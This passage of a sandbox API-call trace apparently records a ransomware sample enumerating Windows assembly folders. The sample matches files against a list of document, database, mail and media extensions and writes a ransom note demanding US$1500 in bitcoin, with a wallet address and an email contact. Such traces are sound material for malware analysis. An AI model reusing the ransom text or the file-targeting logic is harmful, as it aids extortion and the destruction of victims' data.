(pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.pdf") returned 0 [0100.419] lstrlenA (lpString="*.pdf") returned 5 [0100.419] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.cert") returned 0 [0100.419] lstrlenA (lpString="*.cert") returned 6 [0100.419] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.docm") returned 0 [0100.419] lstrlenA (lpString="*.docm") returned 6 [0100.419] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.xlsm") returned 0 [0100.419] lstrlenA (lpString="*.xlsm") returned 6 [0100.419] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.dwg") returned 0 [0100.420] lstrlenA (lpString="*.dwg") returned 5 [0100.420] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.nd") returned 0 [0100.420] lstrlenA (lpString="*.nd") returned 4 [0100.420] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.tlg") returned 0 [0100.420] lstrlenA (lpString="*.tlg") returned 5 [0100.420] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.lgb") returned 0 [0100.420] lstrlenA (lpString="*.lgb") returned 5 [0100.420] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.mov") returned 0 [0100.420] lstrlenA (lpString="*.mov") returned 5 [0100.420] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.xdw") returned 0 [0100.420] lstrlenA (lpString="*.xdw") returned 5 [0100.420] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.ods") returned 0 [0100.420] lstrlenA (lpString="*.ods") returned 5 [0100.420] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.wav") returned 0 [0100.420] lstrlenA (lpString="*.wav") returned 5 [0100.420] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.mp3") returned 0 [0100.420] lstrlenA (lpString="*.mp3") returned 5 [0100.420] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.aiff") returned 0 [0100.420] lstrlenA (lpString="*.aiff") returned 6 [0100.420] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.flac") returned 0 [0100.420] lstrlenA (lpString="*.flac") returned 6 [0100.420] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.m4a") returned 0 [0100.420] lstrlenA (lpString="*.m4a") returned 5 [0100.420] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.csv") returned 0 [0100.421] lstrlenA (lpString="*.csv") returned 5 [0100.421] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec7b58e, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf901a42, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xec7b58e, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Windows.Diagnosis.SDHost.resources.dll", cAlternateFileName="")) returned 0 [0100.421] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0100.421] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x382e2403, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x1ef066a4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ef066a4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1.0.0.0_en_31bf3856ad364e35", cAlternateFileName="100~1.0_E")) returned 0 [0100.421] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0100.421] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a29d00, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a29d00, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x69004d, dwReserved1=0x720063, cFileName="Microsoft.Windows.Diagnosis.TroubleshootingPack", cAlternateFileName="MICROS~1.TRO")) returned 1 [0100.421] lstrcmpA (lpString1=".", lpString2="Microsoft.Windows.Diagnosis.TroubleshootingPack") returned -1 [0100.421] lstrcmpA (lpString1="..", lpString2="Microsoft.Windows.Diagnosis.TroubleshootingPack") returned -1 [0100.421] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0100.421] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Microsoft.Windows.Diagnosis.TroubleshootingPack" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack" [0100.421] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack") returned 76 [0100.421] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a29d00, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a29d00, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0100.422] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.422] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a29d00, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a29d00, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.422] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.422] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.422] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a29d00, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a29d00, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="6.1.0.0__31bf3856ad364e35", cAlternateFileName="610~1.0__")) returned 1 [0100.422] lstrcmpA (lpString1=".", lpString2="6.1.0.0__31bf3856ad364e35") returned -1 [0100.422] lstrcmpA (lpString1="..", lpString2="6.1.0.0__31bf3856ad364e35") returned -1 [0100.422] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\*.*") returned="*.*" [0100.422] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\", lpString2="6.1.0.0__31bf3856ad364e35" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35" [0100.422] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35") returned 102 [0100.422] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a29d00, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a29d00, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0100.423] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.423] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a29d00, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a29d00, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.423] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.423] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.423] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdad8870a, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0xad852b80, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0x573bd805, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0xc000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", cAlternateFileName="")) returned 1 [0100.423] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.423] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Windows.Diagnosis.TroubleshootingPack.dll") returned -1 [0100.423] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Windows.Diagnosis.TroubleshootingPack.dll") returned -1 [0100.423] lstrcmpiA (lpString1="", lpString2="Microsoft.Windows.Diagnosis.TroubleshootingPack.dll") returned -1 [0100.423] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\*.*") returned="*.*" [0100.423] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\" [0100.423] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\") returned="" [0100.423] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" [0100.423] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.windows.diagnosis.troubleshootingpack\\6.1.0.0__31bf3856ad364e35\\how to decrypt files.txt")) returned 0xffffffff [0100.423] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.windows.diagnosis.troubleshootingpack\\6.1.0.0__31bf3856ad364e35\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0100.424] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0100.424] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0100.426] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0100.426] CloseHandle (hObject=0x90) returned 1 [0100.426] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\", lpString2="Microsoft.Windows.Diagnosis.TroubleshootingPack.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll" [0100.426] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.ems") returned 0 [0100.426] lstrlenA (lpString="*.ems") returned 5 [0100.426] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.db") returned 0 [0100.427] lstrlenA (lpString="*.db") returned 4 [0100.427] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.dbf") returned 0 [0100.427] lstrlenA (lpString="*.dbf") returned 5 [0100.427] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.myox") returned 0 [0100.427] lstrlenA (lpString="*.myox") returned 6 [0100.427] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.myo") returned 0 [0100.427] lstrlenA (lpString="*.myo") returned 5 [0100.427] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.qbw") returned 0 [0100.427] lstrlenA (lpString="*.qbw") returned 5 [0100.427] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.qbb") returned 0 [0100.427] lstrlenA (lpString="*.qbb") returned 5 [0100.427] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.qbm") returned 0 [0100.427] lstrlenA (lpString="*.qbm") returned 5 [0100.427] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.qbo") returned 0 [0100.427] lstrlenA (lpString="*.qbo") returned 5 [0100.427] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.qbx") returned 0 [0100.427] lstrlenA (lpString="*.qbx") returned 5 [0100.427] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.qba") returned 0 [0100.427] lstrlenA (lpString="*.qba") returned 5 [0100.427] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.qby") returned 0 [0100.427] lstrlenA (lpString="*.qby") returned 5 [0100.427] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.qbj") returned 0 [0100.427] lstrlenA (lpString="*.qbj") returned 5 [0100.427] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.ofx") returned 0 [0100.427] lstrlenA (lpString="*.ofx") returned 5 [0100.428] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.qif") returned 0 [0100.428] lstrlenA (lpString="*.qif") returned 5 [0100.428] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.mye") returned 0 [0100.428] lstrlenA (lpString="*.mye") returned 5 [0100.428] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.mbox") returned 0 [0100.428] lstrlenA (lpString="*.mbox") returned 6 [0100.428] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.eml") returned 0 [0100.428] lstrlenA (lpString="*.eml") returned 5 [0100.428] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.pst") returned 0 [0100.428] lstrlenA (lpString="*.pst") returned 5 [0100.428] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.ost") returned 0 [0100.428] lstrlenA (lpString="*.ost") returned 5 [0100.428] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.idx") returned 0 [0100.428] lstrlenA (lpString="*.idx") returned 5 [0100.428] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.dbx") returned 0 [0100.428] lstrlenA (lpString="*.dbx") returned 5 [0100.428] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.sql") returned 0 [0100.428] lstrlenA (lpString="*.sql") returned 5 [0100.428] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.mdb") returned 0 [0100.428] lstrlenA (lpString="*.mdb") returned 5 [0100.428] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.fdb") returned 0 [0100.428] lstrlenA (lpString="*.fdb") returned 5 [0100.428] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.wab") returned 0 [0100.429] lstrlenA (lpString="*.wab") returned 5 [0100.429] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.dat") returned 0 [0100.429] lstrlenA (lpString="*.dat") returned 5 [0100.429] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.txt") returned 0 [0100.429] lstrlenA (lpString="*.txt") returned 5 [0100.429] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.jpeg") returned 0 [0100.429] lstrlenA (lpString="*.jpeg") returned 6 [0100.429] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.jpg") returned 0 [0100.429] lstrlenA (lpString="*.jpg") returned 5 [0100.429] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.png") returned 0 [0100.429] lstrlenA (lpString="*.png") returned 5 [0100.429] PathMatchSpecA 